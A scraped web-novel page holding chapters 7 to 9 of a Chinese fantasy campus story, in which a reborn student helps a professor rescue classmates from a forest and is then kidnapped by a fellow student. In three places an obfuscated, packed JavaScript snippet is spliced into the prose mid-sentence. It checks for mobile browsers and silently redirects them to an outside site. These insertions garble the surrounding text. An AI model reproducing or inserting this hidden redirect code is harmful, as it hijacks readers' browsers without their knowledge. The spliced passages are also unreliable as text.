所以他们将白佳果留下，白骨林内没有信号，他们约定如果三个小时后还没从白骨林里出来，白佳果就去告诉学校的老师，让老师来救他们。 是看起来很冲动，同时又带点谨慎的安排。 其实就是赌。 赌能够在付出最小代价的情况下给事件一个完美的结局。 上辈子他们赌赢了，一切都跟他们计划的一样顺利，甚至不需要白佳果去找老师，他们便在三小时内安全带出了第二名失踪的学生，并上报学校。 坏消息是奖罚没能抵消，好消息是罚得不重，还让他们得到了学校奖励的学分和被救学生的家长赠与的感谢金，他们商量后一致同意把钱都转给贫困生。 这辈子大概也会是这样，有她没她，区别不大。 白佳果收起手机，去借书台还书。 天族教授斯笛墨给的书单非常适合她，她刚看完两本，还书后又去借了两本。 找书的时候路过那渊他们经常占据的小角落，白佳果停下脚步，看向其中一张空椅子，那是她上辈子的“固定”座位。 她就在这里，和他们一起查到赛溪是三年前死于意外的话剧社成员。 他们根据社团资料找到了当年的社团老师，老师不愿意透露太多，但听说他们看过话剧社的录像，很喜欢赛溪的表演想去扫墓，便给了他们赛溪坟墓的地址。同时他们也在三年前的合照上看到了第一名失踪的学生，他也是话剧社的一员，加入社团的时间正好是三年前。 他们郊游一般跑去墓地，发现赛溪的坟墓被盗，墓园因此摊上官司，这都是到了地方有心便能打听到的消息。 虽然线索就这么多，但并不妨碍他们进行猜测。 那渊的发小——那个人族学生找到一本书，书上写在古老的牧舀地曾流传过一个能复活死者的魔法阵，该阵需要死者的姓名、种族以及死亡日期和死者的骸骨，前三个条件跟白骨林看到的残破阵法吻合，最后一个条件则对应了赛溪坟墓被盗的情况。 于是他们怀疑是第一名失踪的学生盗走了赛溪的骸骨——就算火化，也会留下块状的骨头——只为了复活赛溪。 但这个魔法阵并不能算真正意义上的复活死者。 它只能让死者短暂地回到人世间，而且对同一名死者只能使用一次，想要延续复活的时长，需要血肉献祭，因此该魔法阵很早就被禁止使用，人族学生找到的书上也没有明确的魔法阵画法，只对魔法阵的功能和弊端做了简单的介绍，主要阐述其在历史上的作用和意义。 “我刚打电话问了话剧社的老师，他们去年团建去了牧舀古城。” 所有线索都能对上，因此他们确定，这便是真相。 结束回忆的白佳果收回视线，余光扫到一抹暗沉的绿，她迟疑着上前，发现了一本被墨绿色书衣包裹的笔记本。 白佳果知道这是人族学生的东西，大概是走得匆忙，不小心落下了。 白佳果将笔记本放到失物招领处，拿着自己借的书走出图书馆。 可能是因为想起了往事，她心血来潮想喝一喝图书馆门口那台自动售卖机里的葡萄汁——因为那渊倾情推荐，每次他们离开图书馆都会买一瓶。 可到贩卖机那的时候，机子似乎出了点问题，一个矮人族的学生不停点击触屏，却怎么都点不动。 “抱歉，这个好像被我弄坏了。”矮人族的学生转头对排在他身后的白佳果说。 “坏了？”觉得矮人族学生长得有些眼熟，白佳果没有马上离开，而是看了一眼贩卖机上贴的服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白佳果一意孤行，照常去上课，上半节课还好好的，下半节课气氛突然奇怪起来，明明只是过了短暂的十分钟课间，却让所有人都变得心不在焉，空气中弥漫着不安与躁动。 直到上课的教授斯笛墨抓了两个交头接耳的学生，让他们不想上课就滚出去，情况才稍微好一点。 又过了一会儿，她收到空想雅的信息，对方希望她下课后直接到校门口跟自己会和，不要在校内逗留，也不要走人少的路，最好能找几个同学结伴一起走。 【发生什么事了吗？】白佳果冒着会被教授抓到的风险，回复了一句。 空想雅没有隐瞒，将小主人需要的信息准确告知，也是她的工作：“刚收到的消息，又有五名学生失踪，学校现在禁止外来人登记入校，我没办法进去，还请您务必按照我说的，不要一个人行动。” 又有五名学生失踪？ 五名……人数跟那渊他们正好吻合。 也就是说，他们这次都没回来？ 白佳果眨眼的频率不自觉变快起来，她不确定是哪里出了问题，因为她这次没有参与其中？可上辈子她也没跟着那渊他们进白骨林找赛溪啊。 白佳果全然不顾还在上课，飞快点开论坛，找到相关的帖子点进去。 相比下午，这会儿关于学生失踪的帖子多到让人不知道该点哪一条，管理员好像也放弃了，没有再删帖。 白佳果翻了好几条帖子才看到知情学生发出来的失踪学生名单。 虽然用的是名字缩写，翻译魔法翻译不出来，但因为她很熟悉，上辈子在课上给他们写小纸条的时候用过，所以即便没有魔法翻译，她还是一眼就给最后那五个缩写对号入座，确定最新失踪的五人就是那渊他们。 怎么会这样…… 白佳果看手机看得太专注，等发现不对劲时，教室已经彻底安静了下来。 她愣愣地抬头，看向不知何时来到她桌边，一脸冰霜的斯笛墨教授，脑子慢半拍反应过来自己上课玩手机被抓了。 “我说过，”斯笛墨开口，语气漠然且不近人情：“不想上课就……” 白佳果打断他：“教授。” 没有半句废话，直接说道：“失踪的学生在白骨林。” 无论怎样，救人要紧。 7.第七章 教室太安静，导致白佳果不算大的声音显得格外清晰。 斯笛墨诧异地看着白佳果，甩下隔音咒，问：“消息来源。” 白佳果大脑飞速运转，脱口道：“我下午在图书馆捡到了阿谬……宿谬的笔记本，我翻看了笔记的内容，是他们追查失踪案的记录，我以为他们会告诉学校，结果他们失踪了。” 宿谬，那渊的发小，那位人族学生的名字。 斯笛墨：“笔记呢？” 白佳果：“我交到了失物招领处。” 斯笛墨微微侧头，嘴唇翕动，无声地说了句什么，然后转头对她说：“跟我走一趟。” 白佳果：“啊？” 隔音咒撤除，教室里的议论声如潮水般涌来，不等白佳果听清大家在说什么，斯笛墨又用一个噤声咒让所有人失去了声音。 他点了两个学生维持班级秩序，发话谁敢在下课铃声响起之前离开教室，下节课就不必再来，之后带着白佳果消失在了教室中。 两秒后，安静到不像话的教室里再一次爆发声浪，但碍于斯笛墨的警告，谁也不敢离开教室，只能通过网络向外散播方才发生的一切，并对着遥远的西校区遗憾眺望—— 没办法去看热闹了。 # 白骨林位于西校区边角，成片的白骨树让林中聚集着充沛的黑暗元素，孕育着数不清的黑暗系魔法生物，是禁地的同时，也是自然保护区。 白佳果被魔法提溜着来到白骨林上空，她看看底下笼罩的黑气，以及在黑气中格外显眼的惨白树木，再看看因为种族关系对白骨林一脸嫌恶的斯笛墨教授，无声叹息—— 事情怎么会发展成现在这样？ “你在笔记里看到了什么。”侧前方的斯笛墨开口，让她把情况说得更详细些，同时一个散发着金色光芒的魔法阵在他们面前打开，无数只金色光碟一涌而出，飞进树林。 白佳果深吸一口气，努力编造谎言：“我就看了一下，好像是跟三年前意外去世的话剧社成员有关，那名成员叫赛溪，第一名失踪的学生用魔法阵复活了赛溪，但需要不停地用血肉献祭才能让赛溪继续活着。” 白佳果不怕校方事后查看笔记，因为这些内容确实写在宿谬的笔记本里。 “牧舀地的亡灵强召？”斯笛墨一听就猜出了魔法阵的来历和名字。 白佳果呐呐道：“可能是这个吧。 斯笛墨：“你应该早点说出来。” 白佳果心说我哪里知道事情发展会和上辈子差这么多，嘴上继续编瞎话：“我擅自偷看别人遗落的笔记，无论什么原因都不光彩，况且我以为他们会告诉学校，所以没敢主动跟别人说。” 斯笛墨回头，大风吹乱他金色的长发，宝石一般的蓝色眼睛注视着她，目光彷佛穿透她的身躯，直抵她灵魂深处：“即便撒谎，也要担下这份不光彩吗？” 白佳果顿时汗流浃背，完全不知道自己的谎言到底是怎么被识破的。 斯笛墨意味不明地哼笑一声，转回去，没再说话。 白佳果跟着安静下来，几分钟后，她又忍不住虚弱道：“教授……” 斯笛墨：“说。” 白佳果尝试着蹲下：“咱能不飞这么高吗。” 白佳果不恐高，可就这么悬停在半空中，她很难不腿软。 就在这时，飞入林间的光蝶有了响应，翅膀轻轻一振，一条连接光蝶与斯笛墨指尖的丝线轻轻显现。 斯笛墨正要带白佳果落下，突然又有别的光蝶发现了什么。 斯笛墨皱起眉头，带着白佳果瞬移，两人停在了白骨林内的一棵树上。 进入自带灰暗滤镜的白骨林，斯笛墨身上属于天族的光辉一下子就显眼起来。 温暖的浅光形成一个圆球，将斯笛墨与她都包裹在内，圆球范围里的白骨树树枝与树干出现皴裂的纹路，枝头本就稀稀落落的黑色树叶像是被抽干了水分，变得薄脆干枯。 依赖黑暗元素生长的动植物会畏惧天族的光芒，同样的，天族也会本能地讨厌黑暗元素充盈的环境。 斯笛墨的心情明显变得糟糕起来，但他依旧耐心地透过树枝看着远处，远处有一个山洞，山洞洞口被布置了至少十几层结界，洞口旁一个暗夜精灵蹲在地上，在打磨树枝。 能出现在这里的暗夜精灵，大概率是赛溪。 白佳果没见过她本人，只在话剧社的照片里看过她，过去太久，白佳果早就忘了照片里的她长什么模样，只记得她和别的暗夜精灵差不多，拥有灰白色的皮肤和毫无光泽的白发。 就连嘴唇都是更深一些的暗灰色。 如今亲眼看到赛溪，白佳果才想起赛溪还有一双绿色的眼睛。 这是她全身上下唯一的色彩。 赛溪身上穿着话剧演员的衣服，繁复的白色裙子上沾满已经凝固变黑的血迹。 既然赛溪在这里，那山洞里的，很可能就是那渊他们。 他们被赛溪关起来了？ 还是他们把赛溪拦在了山洞外面等待救援？可赛溪看起来并不像是着急要进山洞吃人的样子。 白佳果越看越糊涂，甚至不明白斯笛墨教授为什么要带着她停在这里，而不是过去救人。 她不敢出声，怕被听见，精灵耳朵这么大呢，于是她伸手，拉了拉斯笛墨的衣袖。 斯笛墨：“她不会听见我们的声音，更不会看见我们。” 白佳果：“这么厉害？” 斯笛墨扭头看向白佳果：“有没有可能，我是你的教授。” 他刻薄道：“如果连这点能耐都没有，站在讲台上只会让人耻笑。” 白佳果管不住自己的嘴，反驳道：“话不能这么说，术业有专攻，万一有的教授就是不擅长隐藏自己的踪迹，但别的方面很厉害呢。” 斯笛墨不置可否地扯了扯嘴角，少年模样的他做这个表情看起来特别嘲讽，特别欠揍：“所以你刚刚想问什么？” 白佳果：“那渊他们是在山洞里吗？” 斯笛墨：“在里面，六个人，包括下午单独失踪的那个学生。” 白佳果松一口气，没来晚就好：“都还活着吧，不去救他们吗？” 斯笛墨：“有人来了。” 刚说完，空气中传来树枝被踩断的声音，白佳果都听到了，更何况赛溪。 循着声音望去，白佳果发现踩到树枝的不是别人，正是下午见到过的贫困生。 白佳果呼吸一滞，下一秒暗夜精灵就闪现到了贫困生面前，贫困生想逃却被地上的树根绊倒，跌坐在地。 暗夜精灵没有犹豫，她一手抓起贫困生的衣领，一手举起打磨尖锐的白骨树枝，朝着贫困生的脑袋狠狠扎了下去。 一切都发生的非常快，最终树枝的尖端在距离贫困生脑袋两厘米的位置停下，散发着金色光芒的咒文锁链牢牢困住了赛溪的手腕。 贫困生抓住机会，不知道从哪摸出一把匕首，捅进赛溪的脖子。 赛溪发出吃痛的声音，但没有因此吐血，而是迅速化作黑色的烟雾散去，只留下那一身沾满了血的演员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485265|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服，盖在贫困生身上。 白佳果直到赛溪消失，才想起自己还得呼吸。 身旁的斯笛墨自言自语一般，说了句：“还以为是一伙的。” 白佳果听懂了这句话的意思：斯笛墨教授大概是在找到赛溪后，又通过光蝶发现了贫困生，但在她刚才的叙述中没有提到贫困生，所以教授怀疑独自出现在白骨林的贫困生和赛溪是一伙的，想看个究竟，这才没有马上出面。 这误会闹得。 白佳果跟着斯笛墨从树上下来。 浅亚麻色短发的矮人族看着突然出现的他们，愣愣地喊了声“教授”，松开了手里的匕首，显然是被方才的经历吓得不轻。 斯笛墨朝贫困生走去，问：“你为什么会在这里？” 白佳果走快几步，上前把贫困生从地上扶起来。 “谢谢。”贫困生的视线从白佳果身上挪到斯笛墨身上，声音低到几乎听不见：“我来找人。” 斯笛墨：“你也知道失踪的学生在白骨林？” 贫困生低下头：“他们失踪前和我说过。” “所以一听说他们失踪的消息，你先想到的不是去找老师，而是一个人进来送死？” 贫困生被骂得整个人都蔫了，根本不敢反驳。 “愚蠢。”斯笛墨不会因为被骂的学生表现可怜而住口，只会骂得更狠。 贫困生看向白佳果，似是求助，白佳果后退一步：“别看我，我也觉得你这样太冒险了，教授骂得没错。” 白佳果：“不过幸好冒险的不止你一个，会有人陪你一块被骂的。” 斯笛墨挑了挑眉：“‘幸好’？” 白佳果：“哎呀我就随便用个词，先去找人先去找人。” 三人来到山洞前，斯笛墨抬抬手就破开了洞口的十几层结界。 白佳果因为事情得已解决目前正兴致高昂，走快了两步，等想起山洞里是那渊他们，想要停下的时候，一阵疾风袭来，扑面的血腥味与令人胆寒的龙息瞬间包裹了她所有的感官，破空而来的那渊近在咫尺，她看到了对方狼狈带伤的面容，那双凶狠的金黄色竖瞳在看清她是谁的瞬间转作惊慌，想要停却因为惯性停不下来。 好在—— 斯笛墨伸手将她捞了过去。 白佳果幸免于难，只有那渊扑倒在地滚出老远。 皮糙肉厚的龙族没把这点撞击放心上，停下后第一反应就是爬起身跑过来：“怎么是你啊？！ 看白佳果一脸惊魂未定，又连忙道歉：“对不起对不起！我以为是赛溪和她带来的怪物，你没被我伤到吧。” 白佳果摇头：“没有。” 斯笛墨：“怪物？” 那渊对上斯笛墨，语调沉稳许多：“我也不知道那是什么，黑色的一大团，能直接把我拍飞。” 那渊戴了龙族入学必须佩戴的抑制手环，可即便实力被压制，不能随心所欲恢复龙族形态，要想把他拍飞也是件相当需要实力的事情。 从山洞里出来的学生都受了伤，最严重的是姓少的双胞胎里的哥哥，已经失去了意识，是被五人组里的魔族女生背出来的。 白佳果的视线扫过他们，最后落在面前的那渊身上，眉头一点点皱起：上辈子的他们根本没受这么重的伤，林子里也只有赛溪一个敌人，没有什么怪物。到底是从哪里开始出现偏差，导致了怪物的出现？ 白佳果思索着，跟斯笛墨描述完那怪物其他特征的那渊突然抬手，指腹摁上她紧皱的眉心，满脸担忧地问：“真的没有受伤吗？ 8.第八章 白佳果不仅没受伤，连头发都没掉一根，但还是和在场其他学生一起被打包送进了校医楼。 离开时，白骨林外围已经被提前收到斯笛墨通知的校方设下禁制，内围也将在警方到来前分配人员进行巡逻，避免好奇心旺盛的学生因为失踪案非要进去闯一闯。 校医楼内，不需要任何治疗的白佳果是所有人里最轻松的，把自己知道的事情说一下就能走了。 不过她收到空想雅的信息，说是已经进入学校过来接她，便没有出去，一个人坐在走廊的椅子上，安静地刷着手机等待。 校园论坛彻底沸腾，相关帖子层出不穷，各路信息错综复杂，有真有假，甚至还有凭空胡编乱造的，其中一些太离谱，很快就被知情人士打假。 白佳果看了几条，发现居然还有学生在校医楼外蹲点打探，不由得感慨学生们真是活力十足，学业都已经这么繁忙了，居然还能为了看热闹耗费这么多时间精力。 白佳果正感慨，一个人走到她身边隔了一空的位置坐下。 对方是个人族，是那种仗着脸好，且气质清冷，只用摆出笑眯眯的表情，便能让人觉得他其实很讲道理很好说话的类型。 他就是那渊的人族发小，名叫宿谬。 刚认识那会儿，他是白佳果最不擅长应付的一个，白佳果和魔族女生走得最近，和那渊相处最愉快，跟双胞胎也经常打闹玩得来，唯独他，白佳果相处起来总是有些客气生疏。 当初他们两个一起在白骨林跟其他人走散，对方虽然一副很可靠的模样，可她却丝毫感觉不到安心。 “因为你看起来，像随时会丢下我这个累赘走掉的样子。”上辈子刚成年的白佳果嘴比现在还快。 吐槽完看到宿谬错愕的表情，她心虚道：“抱歉，我不该乱揣测你的想法。” 宿谬收起错愕，再度挂起笑容：“也不算乱揣测。” 白佳果：“啊？” 宿谬客气地笑着，说出了危险的话：“我确实挺想丢下你的。” 白佳果：“……咦？！” 宿谬：“想想而已，带你离开白骨林或找到其他人，比在这里丢下你更加划算。” “划算？” 宿谬走到因为误踩恶魔藤而扭了脚，坐在石头上休息的白佳果面前，背对她蹲下：“走吧，我背你，这样快点。” 白佳果战术性后仰：“我想拒绝。” 宿谬：“别浪费时间，要是再来更多的恶魔藤，你得用你的打火机把林子给点了才能完全摆脱他们。” “那不是我的打火机……你真的不会治愈魔法吗？”白佳果挣扎：“我大伯一个血族都会治愈魔法。” 宿谬背对着白佳果，不知道是什么表情：“不会。” 白佳果语气严肃：“你这个症状多久了？” 宿谬突然被逗乐，似真似假地回答道：“十年？” “有突然恢复的可能吗？比如现在。” “别废话了，快上来，我腿要蹲麻了。” 最终白佳果还是被宿谬背着找到了那渊他们。 之后宿谬对待白佳果依旧是那副笑眯眯的模样，但又似乎有哪里发生了改变，至少两个人的关系没那么生疏客气了，宿谬也不会在白佳果面前掩饰自己恶劣的一面。 再后来，白佳果对他的称呼从全名宿谬，慢慢变成和那渊一样的“阿谬”。 从记忆中抽离，白佳果听到宿谬跟她打招呼，说：“你好，我叫宿谬。” 白佳果手一抖关掉手机屏幕，停顿两秒侧头看向宿谬，是记忆里那副笑眯眯的，虚假的模样。 不知道该用什么态度的白佳果索性学着他的样子，慢慢扬起嘴角：“你好，我叫白佳果。” 宿谬笑容微敛，很快又恢复原样：“听说，是你告诉斯笛墨我们在白骨林。” 白佳果点头：“嗯，我捡到了你的笔记本，我想知道是谁的，你又没写名字，我就翻开看了一下。看完才想起来没必要，直接拿去失物招领处就行了。所以很抱歉，擅自翻看了你的笔记。” 白佳果知道宿谬没有往笔记本扉页写名字的习惯。 至于合理性，管他呢，反正和她不熟的宿谬不会撕破伪装，挑出言辞上的漏洞来质问她，把局面弄得难看，他只会—— “你不用道歉，反而是我该谢谢你才对。” 他只会装出一副全然信任的模样，反过来谢谢她。 拿捏老熟人比白佳果想象得还要容易。 “你们的伤还好吗？”白佳果问他，反正也走不掉，得等空想雅来接她，不如问问他们在白骨林里的遭遇，看看能不能从对方的描述中找到什么线索。 五人组里宿谬伤得最轻，所以才能这么快处理好伤势来找白佳果，至于伤最重的双胞胎里的哥哥少络望，宿谬说他已经醒了。 “那是一只暗火双属性的怪物，攻击带高温和明火，他们兄弟俩是人鱼，火能对他们造成的伤害比别人更高。”宿谬说。 白佳果点了点头，上辈子她就知道人鱼怕火，对火的恐惧是刻进基因里的反应，这辈子她每次接触到人鱼弱点相关的记录，都会想起关于双胞胎的一件旧事——那只驱赶恶魔藤的打火机，是她从双胞胎弟弟少络听手中没收来的。 这辈子她没和他们一块，少络听是不是会一直拿着那枚打火机？ 白佳果不自觉地抠起指甲，跟宿谬多聊了一句：“白骨林这么危险，你们应该留个人在外面以防万一。”就像上辈子那样，哪怕没有她，五个人里也可以留一个在外面。 不对，谁问她了？ 白佳果正心烦意乱，听见宿谬回答说：“你怎么知道我没有这么做？” 白佳果：“啊？” “嘉以——就是你跟斯笛墨教授在白骨林救下的那位矮人族同学，我在进入白骨林之前拜托过他，可他……”宿谬满是无奈地叹了口气：“也不知道该说他胆子大还是胆子小，反正他有他的顾虑，不敢依照约定找学校的老师求助，却也没有不管我们的死活，还自己一个人进白骨林来找我们……” 宿谬赞叹一般评价道：“真是勇气可嘉。” 白佳果：“……原来是这样。” 宿谬虽然笑着，语气里带着包容与夸赞，但以白佳果对他的了解，这厮估计已经被气炸过一轮了。 性命攸关，后续哪怕那渊他们遵守约定，不把贫困生偷偷去白骨林捡树枝贩卖的事情供出来，记仇的宿谬多半也会想办法让校方知道这件事。 话说回来，原来贫困生叫嘉以，过去太久，她都不记得了。 白佳果的思绪突然顿了一下，上辈子白骨林事件结束以后，她好像没有再见过嘉以。 一次都没有。 “你们跟嘉以……”白佳果还想问什么，姗姗来迟的空想雅跟在泛理和校长身后，踏进了校医楼。 大伯居然来了？ 白佳果直接丢下宿谬，起身走了过去。 空想雅也越过她大伯，快步走到她面前，检查她有没有受伤。 白佳果：“我没事，斯笛墨教授把我保护得很好。” “大伯，校长。”白佳果跟大伯和校长打了声招呼。 第一学院的校长是个酒红色头发，打扮相当考究的中年男人，白佳果上辈子没怎么跟他接触过，就记得他脾气不错，偶尔会纵容学生做一些出格的事情，学生们都很喜欢他。 校长：“你好，白佳果，你长得和你母亲很像。” 这个世界最不能相信的就是外表，校长看似是个中年人，实际在白佳果的妈妈上学时，他已经在第一学院担任校长很多年，至少得是爷爷辈的人物。 白佳果的妈妈拥有非常出色的魔法天赋，在校也是风云人物，学校论坛里至今还有关于她的光辉事迹，因此被校长记住一点也不奇怪。 白佳果礼貌地笑了笑：“还行吧，其实我更像我外婆。” 一旁的大伯看她有一缕头发毛毛躁躁地卡在耳朵后面翘起来，手微微抬起，结果慢了空想雅一步，又自然放下：“你先跟空想雅回去。” 白佳果：“你呢？” 大伯：“我还有 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【不像情侣，真是情侣可以找亡灵管理局走正规流程，申请亡者复生。】 【或许是赛溪的父母不肯呢？本来复生名额就少，条件又多。】 【就算不肯也可以先找亡灵族把人复活了，之后再去管理局登记，先上车后补票，反正赛溪又不是被禁止复活的死刑犯，只要她本人愿意以亡灵的身份复活，出具谅解书，把她复活的人最多因为违反条例被开除学籍顺带坐几年牢，总好过用邪门魔法阵把自己的命赔进去】 【只有我很好奇，特殊生为什么会知道失踪学生在白骨林吗？】 【感觉真奇妙，明明是公认的需要帮助的弱势群体，结果她所知道的比我们还多，还救了人。有没有同学从她身上拿到学分我不知道，但这次事件她一定会得到学校奖励的学分】 …… 论坛上众说纷纭，有人抽丝剥茧想要找出更多佐证，完善事件真相，有人对白佳果在其中起到的作用无比关注，还有人盯着白骨林和校医楼，对校方的各种举措进行文字直播。 学校论坛删白佳果的内容删得很起劲，但对于白骨林的信息却没有进行封锁。 于是白佳果便知道，白骨林目前的情况和上辈子那渊他们从白骨林里把第二个失踪的学生救出来后一样。 整个白骨林除了警方，禁止其他任何人进出。 今早天还没亮的时候，入林探查的警方带出了一具骨头，经检测证实是第一个失踪的学生死后留下的。 专业人员根据残破的魔法阵和死亡学生的身高体重推测赛溪应该还没“死”，因为她死过一次了，目前支撑她存在的不是“健康完好的躯体”，而是由死亡学生献祭的“血肉”。 估摸着还得等一天或两天，没能得到二次献祭的赛溪才会真正消亡。 所以即便找不到藏在林子里的赛溪，仅需等到三天后，一切都会结束。 事情仿佛已经尘埃落定。 白佳果昨晚熬夜关注白骨林的信息，早起后又接着刷论坛，从家里到学校刷了一路。 车子停下之前，她将学校论坛的网址列入黑名单，app也锁了，免得自己上课集中不了注意力，总想看手机。 下车时，空想雅叮嘱白佳果，说今天和平时不大一样，肯定会有很多同学因为好奇白骨林里发生的事情来找她，如果不适应可以随时联系，她会带她回家。 “请您务必把自己的感受放在学习任务之前。”空想雅是这么说的。 “嗯，你放心吧，我不会勉强自己的。”白佳果应下。 白佳果进入学校后，空想雅的手机响起提示音，她拿出手机看了一眼，随即立马把内容转发给白佳果，并用一句话概括了其中的问题所在—— 【这是嘉以的基本信息，但和您说的不一样，嘉以姓煅，他的父亲是国际工匠协会黄铜齿轮的会长，他本人亦不是需要领取助学金的贫困生。】 9.第九章 前往教室的白佳果停下脚步，盯着空想雅发来的内容看了许久。 嘉以不是贫困生？ 那他怎么知道失踪学生去过白骨林，又为什么要对那渊他们撒谎说自己是贫困生？ 还有，既然他不是贫困生，那上辈子，他们出于同情想尽办法替他隐瞒违反校规一事，甚至两次进入白骨林冒险，最后还将被救学生家长赠予的感谢金转给他算什么，算他们够傻吗？ 白佳果无语到极致，居然笑出了声。 她放下手机抬起头，看见在不远处的楼梯口，一个矮小的身影向她走来。 # 校医楼，那渊对着一大清早来找他的警方和陪同的老师，坚持自己昨晚的说法。 昨晚他们按照原先定好的说辞，欺骗来问话的警方和校方，说他们是为了探险而进入白骨林，意外撞上赛溪，救下了第二名失踪的学生。 可惜他们的谎言没能蒙混过关，因为斯笛墨在场。 “谎言。”斯笛墨不需要过多解释，仅用两个字，就让警方和校方认定这几个学生没说真话。 最后那渊等人不得不把他们调查赛溪的过程都说一遍。 虽然他们还是很讲义气，不肯供出嘉以贩卖学校树枝，因此碰见第一名失踪的学生曾在白骨林出没的事情，但他们没有提前对过新口供，又是分开询问，所以在如何发现失踪案和白骨林有关这方面，他们的回答可谓是五花八门，难以令人信服。 当时已经很晚了，考虑到他们都是伤患，校医建议先让他们休息，第二天再来问。等到第二天——也就是现在，发现斯笛墨不在的那渊准备继续硬扛，可惜这次没有人陪他坚持。 负责那渊这边的兽族警察收到消息，说其他病房的学生把事情都交代了。 那渊跟双胞胎不对付，彼此偏见很深，所以听闻消息第一反应就是双胞胎违背了他们的约定，说什么都要跑去隔壁病房找双胞胎算账，结果被兽族警察摁住，拦了下来。 “我欣赏你对弱小者的维护，”兽族警察严肃道：“可你对煅嘉以又了解多少？” 煅？嘉以不是没有姓氏的孤儿吗？ 那渊眼底浮现困惑，迟疑道：“你这话是什么意思？” 昨晚煅嘉以和他们一块从白骨林里出来，也接受过警方的询问，有学校协助，警方对这几个学生的家庭背景自然比谁都清楚：“煅嘉以并不是需要领取助学金的贫困生。” “你们都被骗了。” # “早上好。”煅嘉以走到白佳果面前，就像昨天第一次见面那样，仰着脑袋问白佳果：“你能帮我一个忙吗？” 白佳果没有马上拒绝，而是问：“什么忙？” 煅嘉以：“你先跟我走，我再告诉你。” “啊？”白佳果面露为难：“可我还要去上课。” 煅嘉以：“不会耽误你很久的，拜托你了。” “就算你这么说……”白佳果拿起手机，像是为了确认上课的时间，手指在屏幕上快速点了几下：“不行啊，快没时间了，我不想错过待会的课，也不想迟到。” 煅嘉以像个人机，重复道：“很快就好，拜托了。” 白佳果没有因为煅嘉以一而再再而三的请求而动摇，她一边试图绕开对方，一边拒绝道：“你去找别人吧，我自己都需要别人帮助，我应该帮不了你什么。” “不会的，你能帮到我。”白佳果往右，煅嘉以跟着往右，拦在她面前，依旧是那副没有表情的模样，但看起来不再是呆萌的可爱，而是渗人的漠然。 从校门口到教学楼这条路上的学生并不少，而白佳果又是聚光灯一样的存在，早就有学生想要靠近同她搭话，问一问昨晚发生的事情。不过碍于她特殊生的身份，学生们都怕自己一个冲动让特殊生感到困扰，被其他没良心的同学借题发挥联手拿下，成为他们与特殊生建立友谊桥梁的垫脚石。 煅嘉以出现后，朝教学楼走去的学生们都放慢了脚步，还有的干脆停了下来。 终于—— “同学。”一个天族女生走上前，将白佳果拉到自己身后：“她说了她帮不了你，你去找别人吧。” 周围学生无不扼腕：慢了一步。 他们以为就是普通的纠缠，等天族女生把白佳果带走就行。 谁知道在女生带着白佳果越过煅嘉以时，煅嘉以会直接抓住白佳果的手肘。 “喂！”其他同学上前制止：“把手放开！” 煅嘉以看都不看其他人，专注地盯着白佳果：“我也没有时间了。” 一个传送阵猝不及防在他脚下展开，立刻就有同学出手，噼里啪啦一大堆攻击魔法朝着煅嘉以砸去。 几枚会飞的金属圆球从煅嘉以背后飞出来，展开防御结界拦下所有攻击。 离他们最近的天族女生趁这个时间拦腰抢过白佳果，试图抱她撤到传送阵外，结果下一秒，行动灵敏的金属圆球绕过来，瞄准了天族女生的眉心。 白佳果注意到女生眉心的红点，用力带着女生扑倒在地，同时一枚子弹擦过女生的耳朵，溅开的血花给煅嘉以的恶意定了性。 周围的同学不再留手，一拥而上，煅嘉以没理他们，而是再一次抓住白佳果，启动了脚下的魔法阵。 下一瞬，传送阵内的所有学生都消失在了原地。 因为没赶上而被留下的学生当即通知学校，还在等辅导员联系上煅嘉以的警方得到消息，跟学校调了监控，想根据魔法阵上的坐标，判断煅嘉以把学生们都传送到了哪里。 结果出乎所有人的意料，坐标是白骨林，可校方和警方已经在白骨林设下了禁制，一般来讲，学生的传送阵不可能突破禁制。 这就引出了第二个令他们吃惊的点——这个魔法阵，使用了“异语”，异语是自神语演变而来，即便是神明陨落的如今，这种冒犯神族的语言依旧带着诅咒，会让长期使用的人精神出现问题，陷入癫狂。 能不顾精神健康坚持使用或研究异语的，基本都是致力于召唤邪神的邪教。 异语很强大，它能让一个学生绘制出不符合其能力的传送阵，突破白骨林的禁制，也能让煅嘉以用不多的魔力，把这么多学生都传送过来。 同时异语很难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494729|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌握，煅嘉以连自己的落点都不能保证，更何况其他人。 所以他在传送前抓住了白佳果，用肢体接触确保白佳果和自己一个落点，这就导致，那个抱着白佳果的热心女生也跟他们在一块。 数枚金属圆球对准了她们两个，但却没有进行攻击，站在她们面前的煅嘉以对天族女生点了点头，说：“你应该也可以。” “可以什么？”天族女生一只手把白佳果护在身后，一只手捂住自己受伤的耳朵，警惕地看着煅嘉以。 事情发展到这个地步，煅嘉以没再藏着掩着：“让祂愿意吃上一口。” 天族女生完全听不懂，叽里咕噜什么玩意儿。白佳果倒是想到了什么，问：“那只怪物？” 